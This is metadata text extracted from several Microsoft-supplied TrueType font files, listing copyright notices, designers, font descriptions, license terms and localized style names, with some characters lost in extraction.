MS It lico Comic Sans MS Comic Sans MS Kurz Comic Sans MS Po evno Comic Sans MS talik vi-vn Comic Sans MS nghi ComicSansMS-Italic *COMICBD.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 5.15 Comic Sans is a trademark of the Microsoft group of companies. Microsoft Corporation Vincent Connare Designed by Microsoft's Vincent Connare, this is a face based on the lettering from comic magazines. This casual but legible face has proved very popular with a wide variety of people. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Comic Sans MS Comic Sans MS Negreta Comic Sans MS tu Comic Sans MS fed Comic Sans MS Fett Comic Sans MS Comic Sans MS Bold Comic Sans MS Negrita Comic Sans MS Lodia Comic Sans MS Lihavoitu Comic Sans MS Gras Comic Sans MS F Comic Sans MS Grassetto Comic Sans MS Halvfet Comic Sans MS Vet Comic Sans MS Pogrubiony Comic Sans MS Negrito Comic Sans MS Comic Sans MS Tu Comic Sans MS Krepko Comic Sans MS Fet Comic Sans MS Kal ComicSansMS-Bold *COMICZ.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 5.15 Comic Sans is a trademark of the Microsoft group of companies. Microsoft Corporation Vincent Connare, Terrance Weinzierl Designed by Microsoft's Vincent Connare, this is a face based on the lettering from comic magazines. This casual but legible face has proved very popular with a wide variety of people. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn ca-es Negreta cursiva cs-cz kurz da-dk fed kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk kurz sl-si Krepko po evno sv-se Fet Kursiv tr-tr talik Comic Sans MS Comic Sans MS Negreta cursiva Comic Sans MS tu kurz Comic Sans MS fed kursiv Comic Sans MS Fett Kursiv Comic Sans MS Comic Sans MS Bold Italic Comic Sans MS Negrita Cursiva Comic Sans MS Lodi etzana Comic Sans MS Lihavoitu Kursivoi Comic Sans MS Gras Italique Comic Sans MS F Comic Sans MS Grassetto Corsivo Comic Sans MS Halvfet Kursiv Comic Sans MS Vet Cursief Comic Sans MS Pogrubiona kursywa Comic Sans MS Negrito It lico Comic Sans MS Comic Sans MS Tu kurz Comic Sans MS Krepko po evno Comic Sans MS Fet Kursiv Comic Sans MS Kal talik vi-vn Comic Sans MS nghi ComicSansMS-BoldItalic *CONSOLA.TTF !"#$%&' en-us 2025 Microsoft Corporation. All rights reserved. Version 7.01 Consolas is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://fontfabrik.com http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Regular Consolas *CONSOLAI.TTF !"#$%&' en-us 2025 Microsoft Corporation. All rights reserved. Version 7.01 Consolas is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://fontfabrik.com http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Italic Consolas Consolas Italic Consolas-Italic *CONSOLAB.TTF !"#$%&'() en-us 2025 Microsoft Corporation. All rights reserved. Version 7.01 Consolas is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://fontfabrik.com http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Bold Consolas Consolas Bold Consolas-Bold *CONSOLAZ.TTF !"#$%&'() en-us 2025 Microsoft Corporation. All rights reserved. Version 7.01 Consolas is a trademark of the Microsoft group of companies. Microsoft Corporation Luc(as) de Groot http://fontfabrik.com http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Armn Cyrl Grek Latn Bold Italic Consolas Consolas Bold Italic Consolas-BoldItalic *CONSTAN.TTF en-us 2012 Microsoft Corporation. All Rights Reserved. Version 5.93 Constantia is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation John Hudson http://www.tiro.com Constantia is a modulated wedge-serif typeface designed primarily for continuous text in both electronic and paper publishing. The design responds to the recent narrowing of the gap between screen readability and traditional print media, exploiting specific aspects of the most recent advances in ClearType rendering, such as sub-pixel positioning. The classic proportions of relatively small x-height and long extenders make Constantia ideal for book and journal publishing, while the slight squareness and open counters ensure that it remains legible even at small sizes. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Cyrl Grek Latn Regular Constantia *CONSTANI.TTF en-us 2009 Microsoft Corporation. All Rights Reserved. Version 5.93 Constantia is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation John Hudson http://www.tiro.com Constantia is a modulated wedge-serif typeface designed primarily for continuous text in both electronic and paper publishing. The design responds to the recent narrowing of the gap between screen readability and traditional print media, exploiting specific aspects of the most recent advances in ClearType rendering, such as sub-pixel positioning. The classic proportions of relatively small x-height and long extenders make Constantia ideal for book and journal publishing, while the slight squareness and open counters ensure that it remains legible even at small sizes. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Cyrl Grek Latn Italic Constantia Constantia Italic Constantia-Italic *CONSTANB.TTF en-us 2009 Microsoft Corporation. All Rights Reserved. Version 5.93 Constantia is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation John Hudson http://www.tiro.com Constantia is a modulated wedge-serif typeface designed primarily for continuous text in both electronic and paper publishing. The design responds to the recent narrowing of the gap between screen readability and traditional print media, exploiting specific aspects of the most recent advances in ClearType rendering, such as sub-pixel positioning. The classic proportions of relatively small x-height and long extenders make Constantia ideal for book and journal publishing, while the slight squareness and open counters ensure that it remains legible even at small sizes. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Cyrl Grek Latn Bold Constantia Constantia Bold Constantia-Bold *CONSTANZ.TTF en-us 2009 Microsoft Corporation. All Rights Reserved. Version 5.93 Constantia is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation John Hudson http://www.tiro.com Constantia is a modulated wedge-serif typeface designed primarily for continuous text in both electronic and paper publishing. The design responds to the recent narrowing of the gap between screen readability and traditional print media, exploiting specific aspects of the most recent advances in ClearType rendering, such as sub-pixel positioning. The classic proportions of relatively small x-height and long extenders make Constantia ideal for book and journal publishing, while the slight squareness and open counters ensure that it remains legible even at small sizes. http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Cyrl Grek Latn Bold Italic Constantia Constantia Bold Italic Constantia-BoldItalic *CORBEL.TTF en-us 2018 Microsoft Corporation. All rights reserved. Version 6.01 Corbel is a trademark of the Microsoft group of companies. Microsoft Corporation Jeremy Tankard http://www.typography.net Corbel is designed to give an uncluttered and clean appearance on screen. The letter forms are open with soft, flowing curves. It is legible, clear and functional at small sizes. At larger sizes the detailing and style of the shapes is more apparent resulting in a modern sans serif type with a wide range of possible uses. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn Regular Corbel *CORBELL.TTF 89"_`#y en-us 2018 Microsoft Corporation. All rights reserved. Version 6.01 Corbel is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Design Team http://www.monotype.com Corbel is designed to give an uncluttered and clean appearance on screen. The letter forms are open with soft, flowing curves. It is legible, clear and functional at small sizes. At larger sizes the detailing and style of the shapes is more apparent resulting in a modern sans serif type with a wide range of possible uses. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn Light Corbel Corbel Light Regular CorbelLight *CORBELI.TTF en-us 2018 Microsoft Corporation. All rights reserved. Version 6.01 Corbel is a trademark of the Microsoft group of companies. Microsoft Corporation Jeremy Tankard http://www.typography.net Corbel is designed to give an uncluttered and clean appearance on screen. The letter forms are open with soft, flowing curves. It is legible, clear and functional at small sizes. At larger sizes the detailing and style of the shapes is more apparent resulting in a modern sans serif type with a wide range of possible uses. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn Italic Corbel Corbel Italic Corbel-Italic *CORBELLI.TTF 89"_`#y en-us 2018 Microsoft Corporation. All rights reserved. Version 6.01 Corbel is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Design Team http://www.monotype.com Corbel is designed to give an uncluttered and clean appearance on screen. The letter forms are open with soft, flowing curves. It is legible, clear and functional at small sizes. At larger sizes the detailing and style of the shapes is more apparent resulting in a modern sans serif type with a wide range of possible uses. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn Light Italic Corbel Corbel Light Italic Corbel Light Italic CorbelLight-Italic *CORBELB.TTF en-us 2018 Microsoft Corporation. All rights reserved. Version 6.01 Corbel is a trademark of the Microsoft group of companies. Microsoft Corporation Jeremy Tankard http://www.typography.net Corbel is designed to give an uncluttered and clean appearance on screen. The letter forms are open with soft, flowing curves. It is legible, clear and functional at small sizes. At larger sizes the detailing and style of the shapes is more apparent resulting in a modern sans serif type with a wide range of possible uses. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn Bold Corbel Corbel Bold Corbel-Bold *CORBELZ.TTF en-us 2018 Microsoft Corporation. All rights reserved. Version 6.01 Corbel is a trademark of the Microsoft group of companies. Microsoft Corporation Jeremy Tankard http://www.typography.net Corbel is designed to give an uncluttered and clean appearance on screen. The letter forms are open with soft, flowing curves. It is legible, clear and functional at small sizes. At larger sizes the detailing and style of the shapes is more apparent resulting in a modern sans serif type with a wide range of possible uses. https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cyrl Grek Latn Bold Italic Corbel Corbel Bold Italic Corbel-BoldItalic *COUR.TTF 89$t )*+,-./0123 67('&%# en-us 2018 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.94 Courier New is a trademark of The Monotype Corporation. The Monotype Corporation Howard Kettler Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Aran Armn Copt Cyrl Grek Hebr Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn Courier New CourierNewPSMT *COURI.TTF "#$%&'()! en-us 2018 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.94 Courier New is a trademark of The Monotype Corporation. The Monotype Corporation Howard Kettler Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Hebr ca-es Cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl Kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik vi-vn nghi Courier New Courier New Cursiva Courier New kurz Courier New kursiv Courier New Kursiv Courier New Courier New Italic Courier New Etzana Courier New Kursivoitu Courier New Italique Courier New D Courier New Corsivo Courier New Cursief Courier New Kursywa Courier New It lico Courier New Courier New Kurz Courier New Po evno Courier New talik Courier New nghi CourierNewPS-ItalicMT *COURBD.TTF 89$t )*+,-./0123 67('&%# en-us 2018 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.94 Courier New is a trademark of The Monotype Corporation. The Monotype Corporation Howard Kettler Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Aran Armn Copt Cyrl Grek Hebr Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr vi-vn Courier New Courier New Negreta Courier New tu Courier New fed Courier New Fett Courier New Courier New Bold Courier New Negrita Courier New Lodia Courier New Lihavoitu Courier New Gras Courier New F Courier New Grassetto Courier New Halvfet Courier New Vet Courier New Pogrubiony Courier New Negrito Courier New Courier New Tu Courier New Krepko Courier New Fet Courier New Kal Courier New CourierNewPS-BoldMT *COURBI.TTF "#$%&'()! en-us 2018 The Monotype Corporation. All Rights Reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 6.94 Courier New is a trademark of The Monotype Corporation. The Monotype Corporation Howard Kettler Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Armn Cyrl Grek Latn Hebr ca-es Negreta cursiva cs-cz kurz da-dk fed kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk kurz sl-si Krepko po evno sv-se Fet Kursiv tr-tr talik vi-vn m nghi Courier New Courier New Negreta cursiva Courier New tu kurz Courier New fed kursiv Courier New Fett Kursiv Courier New Courier New Bold Italic Courier New Negrita Cursiva Courier New Lodi etzana Courier New Lihavoitu Kursivoi Courier New Gras Italique Courier New F Courier New Grassetto Corsivo Courier New Halvfet Kursiv Courier New Vet Cursief Courier New Pogrubiona kursywa Courier New Negrito It lico Courier New Courier New Tu kurz Courier New Krepko po evno Courier New Fet Kursiv Courier New Kal talik Courier New m nghi CourierNewPS-BoldItalicMT *EBRIMA.TTF &'() *+,-./ en-us 2023 Microsoft Corporation. All Rights Reserved. Version 5.19 Ebrima is trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Adlm Bamu Ethi Nkoo Osma Tfng Vaii Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Ebrima *EBRIMABD.TTF &'() *+,-./ en-us 2023 Microsoft Corporation. All Rights Reserved. Version 5.19 Ebrima is trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Adlm Bamu Ethi Nkoo Osma Tfng Vaii Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Ebrima Ebrima Negreta Ebrima tu Ebrima fed Ebrima Fett Ebrima Ebrima Bold Ebrima Negrita Ebrima Lodia Ebrima Lihavoitu Ebrima Gras Ebrima F Ebrima Grassetto Ebrima Halvfet Ebrima Vet Ebrima Pogrubiony Ebrima Negrito Ebrima Ebrima Tu Ebrima Krepko Ebrima Fet Ebrima Kal Ebrima-Bold *FRAMD.TTF en-us ITC Franklin Gothic is a trademark of The International Typeface Corporation which may be registered in certain jurisdictions. Portions copyright Microsoft Corporation. All rights reserved. Version 5.02 ITC Franklin Gothic is a trademark of The International Typeface Corporation which may be registered in certain jurisdictions. International Typeface Corporation Victor Caruso Designed in 1902 by Morris Fuller Benton for the American Type Founders company, Franklin Gothic still reigns as one of the most-widely used sans serif typefaces. Originally issued in only one weight, the ATF version of Franklin Gothic was eventually expanded to include five additional weights, but no light or intermediate weights were ever developed. In 1979, under license from ATF, ITC developed four new weights in roman and italic: book, medium, demi and heavy. Designed by Victor Caruso, ITC s new weights matched the original face s characteristics, but featured a slightly enlarged lowercase x-height. ITC Franklin Gothic also features a slightly condensed lowercase a-z alphabet. In 1991, ITC commissioned the Font Bureau in Boston to create condensed, compressed and extra compressed versions of ITC Franklin Gothic, which increased the flexibility and usefulness of the design. http://www.itcfonts.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Cyrl Grek Latn Medium Franklin Gothic Medium ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr FranklinGothic-Medium Franklin Gothic *FRAMDIT.TTF en-us ITC Franklin Gothic is a trademark of The International Typeface Corporation which may be registered in certain jurisdictions. Portions copyright Microsoft Corporation. All rights reserved. Version 5.01 ITC Franklin Gothic is a trademark of The International Typeface Corporation which may be registered in certain jurisdictions. International Typeface Corporation Victor Caruso Designed in 1902 by Morris Fuller Benton for the American Type Founders company, Franklin Gothic still reigns as one of the most-widely used sans serif typefaces. Originally issued in only one weight, the ATF version of Franklin Gothic was eventually expanded to include five additional weights, but no light or intermediate weights were ever developed. In 1979, under license from ATF, ITC developed four new weights in roman and italic: book, medium, demi and heavy. Designed by Victor Caruso, ITC s new weights matched the original face s characteristics, but featured a slightly enlarged lowercase x-height. ITC Franklin Gothic also features a slightly condensed lowercase a-z alphabet. In 1991, ITC commissioned the Font Bureau in Boston to create condensed, compressed and extra compressed versions of ITC Franklin Gothic, which increased the flexibility and usefulness of the design. http://www.itcfonts.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.itcfonts.com/itc/licensing.html Cyrl Grek Latn Medium Italic Franklin Gothic Medium ca-es Cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl Kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik Franklin Gothic Medium Cursiva Franklin Gothic Medium kurz Franklin Gothic Medium kursiv Franklin Gothic Medium Kursiv Franklin Gothic Medium Franklin Gothic Medium Italic Franklin Gothic Medium Etzana Franklin Gothic Medium Kursivoitu Franklin Gothic Medium Italique Franklin Gothic Medium D Franklin Gothic Medium Corsivo Franklin Gothic Medium Cursief Franklin Gothic Medium Kursywa Franklin Gothic Medium It lico Franklin Gothic Medium Franklin Gothic Medium Kurz Franklin Gothic Medium Po evno Franklin Gothic Medium talik FranklinGothic-MediumItalic Franklin Gothic *GABRIOLA.TTF en-us 2008 Microsoft Corporation. All Rights Reserved. Version 5.93 Gabriola is either a registered 